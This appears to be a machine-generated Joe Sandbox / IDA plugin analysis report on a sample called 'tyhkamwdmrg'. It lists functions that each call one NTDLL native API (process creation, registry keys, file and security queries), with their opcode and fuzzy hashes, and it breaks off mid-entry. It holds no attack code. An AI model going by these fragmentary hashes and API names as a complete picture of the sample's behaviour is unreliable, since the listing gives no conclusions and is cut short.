Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 63dbd2cfa24c2d38d6d0fba47354285beef091d010abe6f9fd386feba089827e
Instruction ID: 3f8ef51b8dec7f79816e596298887cfd00cf6fed8993daad46679b2c70bdac5c
Opcode Fuzzy Hash: 63dbd2cfa24c2d38d6d0fba47354285beef091d010abe6f9fd386feba089827e
Instruction Fuzzy Hash: 63F054B21041497FDB109E96DC88DF77F6CEB8E3A4F448419F64883101D670AC50C7B0

Function 0039BC50 Relevance: 1.5, APIs: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtCreateProcess.NTDLL(?,?,?,?,?,?,?,?), ref: 0039BC90

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 77484b7ab52e3672557ec0618243d550cb868dcc2e6d6e97e867409b18bfe024
Instruction ID: b807d647bf3301f4ff782fea678fce00237a72b0bef57dcbd93935252949a7ac
Opcode Fuzzy Hash: 77484b7ab52e3672557ec0618243d550cb868dcc2e6d6e97e867409b18bfe024
Instruction Fuzzy Hash: FFF0D0F6100248BFDB10CE8ADCC8DE7BB6CEB8D7A1B544119FA0887211D670AC50CBB1

Function 0039BF04 Relevance: 1.5, APIs: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtAccessCheck.NTDLL(?,?,?,?,?,?,?,?), ref: 0039BF44

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: AccessCheck
String ID:
API String ID: 3492747997-0
Opcode ID: 718dee6d6a8fef3368526bfeb75cdfafe7ea3cad6f02963d84138e75516c02b4
Instruction ID: dfd9e127ca075fe0e3ead647eb111454b7ae269cbf9f533d9f677bbde27c08d0
Opcode Fuzzy Hash: 718dee6d6a8fef3368526bfeb75cdfafe7ea3cad6f02963d84138e75516c02b4
Instruction Fuzzy Hash: 2AF0F4B61042497FDB10CE86DCC8DEB7B6CEB8D7A4B448119F70987101D670AC50CBB1

Function 0039C028 Relevance: 1.5, APIs: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtCreateKey.NTDLL(?,?,?,?,?,?,?), ref: 0039C060

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0d5ae0e78dedda362563efc08c77aa5543d0115841cb244770ba3c251b214264
Instruction ID: d9ca4ad306e02660d62f603889035c57f2e71f160f83acf72406d8a3f79382cd
Opcode Fuzzy Hash: 0d5ae0e78dedda362563efc08c77aa5543d0115841cb244770ba3c251b214264
Instruction Fuzzy Hash: 1BF01CB6104249BFAB108E86DC88DEB7B6CEB8D7A4F008119FA1887201E671AD00C7B5

Function 0039C3F4 Relevance: 1.5, APIs: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtDuplicateObject.NTDLL(?,?,?,?,?,?,?), ref: 0039C42C

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: DuplicateObject
String ID:
API String ID: 3677547684-0
Opcode ID: d17793f7668e2e5fb6f602d09d474ce030492e0144c43ca7e2dd1f6bbfa44ab4
Instruction ID: a83283bceb993c6f4cf7e4c94c2b7f27ef4dd3f3c7bfcfbb058476594f401c66
Opcode Fuzzy Hash: d17793f7668e2e5fb6f602d09d474ce030492e0144c43ca7e2dd1f6bbfa44ab4
Instruction Fuzzy Hash: 6CF01CF62002187FAB119A86DC88DFB7B6CEB897A0B408119FA0887101D670AD00C7B5

Function 0039C5EC Relevance: 1.5, APIs: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,?,?,?,?,?,?), ref: 0039C624

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: CreateSection
String ID:
API String ID: 2449625523-0
Opcode ID: 64d177a69530126b96ff774f60827bd2a6a018cd34ee67d3454d127a6df70f15
Instruction ID: 09ca64e99d693293bc2d42e9ec298e952b2bfaa69da93a44443b2b746bf49c4d
Opcode Fuzzy Hash: 64d177a69530126b96ff774f60827bd2a6a018cd34ee67d3454d127a6df70f15
Instruction Fuzzy Hash: F6F030B610025C7FEB108F96DC88DE77B6CEB8A7A4F048119F60887101D670AD01C7B1

Function 0039C070 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtEnumerateKey.NTDLL(?,?,?,?,?,?), ref: 0039C0A0

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Enumerate
String ID:
API String ID: 304946047-0
Opcode ID: 01fa1f8b04c6b448e6b3dae48ae3470161df873f0cff471dab04f1100b00e85d
Instruction ID: 2ed3bc161685b8eab3979751ad706d9948fa2cc98424192473395f578074eee3
Opcode Fuzzy Hash: 01fa1f8b04c6b448e6b3dae48ae3470161df873f0cff471dab04f1100b00e85d
Instruction Fuzzy Hash: 0BE012B2110259BFAB108B56DC8CEE7BF2CDBC57A4F008119F50487241EA71AC40C7B5

Function 0039C0B0 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtSetValueKey.NTDLL(?,?,?,?,?,?), ref: 0039C0E0

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 17e748fbbc266e72366a992f6cc04225e84defbda200f7b3128597a2e28e4b57
Instruction ID: 5cf022a41c7901602108b08624f5d6f19c59068e4cfed8e759990b6846479fe2
Opcode Fuzzy Hash: 17e748fbbc266e72366a992f6cc04225e84defbda200f7b3128597a2e28e4b57
Instruction Fuzzy Hash: ABE012B6144259BFAB108B56DC48DE77F2CDBC97A4F04811DF64987200EA71AC00C7B5

Function 0039C1E0 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtQueryMultipleValueKey.NTDLL(?,?,?,?,?,?), ref: 0039C210

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: MultipleQueryValue
String ID:
API String ID: 23559346-0
Opcode ID: 1a13fa46612239e4f5206ab9a4bedc864192bb21d4024490e73382bbe7d646ae
Instruction ID: 556a4cc89307c2185dc2675e1fada6ce6ae72c91dc9b4e95602832b2b95b4a4e
Opcode Fuzzy Hash: 1a13fa46612239e4f5206ab9a4bedc864192bb21d4024490e73382bbe7d646ae
Instruction Fuzzy Hash: EAE012B21011587FEB108B96DC48DEB7F2CDBC97E4B14851AF50587151D670AC40C7B5

Function 0039C778 Relevance: 1.5, APIs: 1, Instructions: 32filenativeCOMMON

Download Yara Rule

APIs

NtOpenFile.NTDLL(?,?,?,?,?,?), ref: 0039C7A8

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FileOpen
String ID:
API String ID: 2669468079-0
Opcode ID: ed5ebdb270e73598dcd0cea8e7e0575e9bf151e35e892f4dc2ce374c0f7a0d83
Instruction ID: af6f735d1dd7c32dc1088a1be784696a568c64b0d5197588f1726d9e9ca0a529
Opcode Fuzzy Hash: ed5ebdb270e73598dcd0cea8e7e0575e9bf151e35e892f4dc2ce374c0f7a0d83
Instruction Fuzzy Hash: 5FE0EDB61101587FA7209A86DC8CDF77F6CDBC67E4F004519F60487140D6706C11C6B1

Function 0039BF74 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtEnumerateValueKey.NTDLL(?,?,?,?,?,?), ref: 0039BFA4

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: ab6f82b465d9232f7ceadbee59f55c52754e9a5efaf1f9e14b5af86297dfdb5a
Instruction ID: 3f068a44845c2cad228a8ae24c9d23541503f7426eb0fa70411171653d964009
Opcode Fuzzy Hash: ab6f82b465d9232f7ceadbee59f55c52754e9a5efaf1f9e14b5af86297dfdb5a
Instruction Fuzzy Hash: CAE012B2104158BFE7108B56EC8CDE7BF6CDBD9BA4B00811AF90587241D6716C41C7B1

Function 0039BFE8 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtQueryValueKey.NTDLL(?,?,?,?,?,?), ref: 0039C018

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: e91e36f263fb32ac3576bf7474107b5d00c2041f2145c8660ebc02e118a0d7f6
Instruction ID: 72896a29f17f9f0c7eec0b3de6a4abafb16e78d28eed982eb719f8ac970cbd3e
Opcode Fuzzy Hash: e91e36f263fb32ac3576bf7474107b5d00c2041f2145c8660ebc02e118a0d7f6
Instruction Fuzzy Hash: A1E012B2104159BFA7109B46DC4CDEB7F6CDBC97E4F058119F50597201EA71AC40D7B1

Function 0039C338 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryObject.NTDLL(?,?,?,?,?), ref: 0039C35F

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: ObjectQuery
String ID:
API String ID: 2748340528-0
Opcode ID: b600602b6ea8f66bf0519f7956b58a301f7a679098f37cc962eb0be7091660f8
Instruction ID: 7e5af2ccb5898adf06941c7802cde3c80292fa709fcfa1970e27e33f1272b003
Opcode Fuzzy Hash: b600602b6ea8f66bf0519f7956b58a301f7a679098f37cc962eb0be7091660f8
Instruction Fuzzy Hash: 81E0C2B20105547EDB21575B9C0DEB77F6CDBD2BB0B04826DF50993100E6A4AC00C2F6

Function 0039C43C Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtQueryVolumeInformationFile.NTDLL(?,?,?,?,?), ref: 0039C463

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FileInformationQueryVolume
String ID:
API String ID: 634242254-0
Opcode ID: 87b842f54a64058e733eec81c717d157867e4611540341eae2a00cf43a8bbdac
Instruction ID: e139d1e8e5f5da773f638d4f03dd9f1fcec13cce2bfe03c07cd13eab2eca812e
Opcode Fuzzy Hash: 87b842f54a64058e733eec81c717d157867e4611540341eae2a00cf43a8bbdac
Instruction Fuzzy Hash: 48E08CA11101547A9B21564B9C0CEB77F6CCBD6BB0B00812DF508A2100DAA0AC00C2F9

Function 0039C4EC Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtUnlockFile.NTDLL(?,?,?,?,?), ref: 0039C513

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FileUnlock
String ID:
API String ID: 45017762-0
Opcode ID: 3da4e71d8f5cde62ede618f3b580b427ff29eaac0fef73a065306fc4620190ce
Instruction ID: 90bcc6f4bc5d1155a348b422ed2f486d4157b0506596ba7e339a2202ebb18c55
Opcode Fuzzy Hash: 3da4e71d8f5cde62ede618f3b580b427ff29eaac0fef73a065306fc4620190ce
Instruction Fuzzy Hash: 77E0ECA11141547AEB119B5B9C0CDA77F6CDBC6BB0B19852DF8489221096A2ED40D2B6

Function 0039C558 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySection.NTDLL(?,?,?,?,?), ref: 0039C57F

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: QuerySection
String ID:
API String ID: 1985485932-0
Opcode ID: 3d45931f993a4ef9e1f191a52ad8817c599e568716d689a4ec5d4abdc08b3816
Instruction ID: 970031f95261f82b718e3d118e416962055cbfd79f3864d78461d7c61d21ba8e
Opcode Fuzzy Hash: 3d45931f993a4ef9e1f191a52ad8817c599e568716d689a4ec5d4abdc08b3816
Instruction Fuzzy Hash: 7AE08CA10001187AAA21675B9C0CEF77F6CEBD37B0B01822EF40992100AAA4BE01C2B1

Function 0039C684 Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtQueryInformationFile.NTDLL(?,?,?,?,?), ref: 0039C6AB

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FileInformationQuery
String ID:
API String ID: 365787318-0
Opcode ID: 95fab222233be97dde99024ed76ea6b58d2d4a873e4aa682cbac1f85bb5b7168
Instruction ID: 832b83e76c20fc1f128cfcca4d8cfda348a03f3cda6de438a1e278d7bce2d19a
Opcode Fuzzy Hash: 95fab222233be97dde99024ed76ea6b58d2d4a873e4aa682cbac1f85bb5b7168
Instruction Fuzzy Hash: 03E08CA11011147EAA205A4ADC0CEA77F2CDBD27B0B05862EF40893100D6B0AC08C2B9

Function 0039BBB0 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,?,?,?), ref: 0039BBD7

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 77d57c8ed72bb8d371a192eb2c707119909525248933192622253737e8537d8e
Instruction ID: 50ce14ec13f74c64895611e94782e9ec15fe774e89f77e08da397976767276fa
Opcode Fuzzy Hash: 77d57c8ed72bb8d371a192eb2c707119909525248933192622253737e8537d8e
Instruction Fuzzy Hash: 4FE0ECB21001547BD611669AAC0CEA7BF6CDBC67F0B44852DF44893551D6A4AC00C6B5

Function 0039BD8C Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtSetVolumeInformationFile.NTDLL(?,?,?,?,?), ref: 0039BDB3

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FileInformationVolume
String ID:
API String ID: 2893123674-0
Opcode ID: 25b2a901876519094bcf6970489955b08794eb8229a124b4f9cc8691cbf793b6
Instruction ID: 97b8c06a3d097dc59eff11f866fbf2f2826257bed2367f8b6d2367162890b809
Opcode Fuzzy Hash: 25b2a901876519094bcf6970489955b08794eb8229a124b4f9cc8691cbf793b6
Instruction Fuzzy Hash: 32E08CA11042687EE7216A8AAC0DDA7BF2CDBC67B1B24812DF40892100D6A0AC40C2B1

Function 0039BDE0 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySecurityObject.NTDLL(?,?,?,?,?), ref: 0039BE07

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: ObjectQuerySecurity
String ID:
API String ID: 718582247-0
Opcode ID: a00b10887e794a70bc4aca600adab10e9d8059370f42598a1567dde2c777ea38
Instruction ID: 3300305e5f6f8544ef08570f7053e5c85aae1b829f8269508f64936b6afd8d60
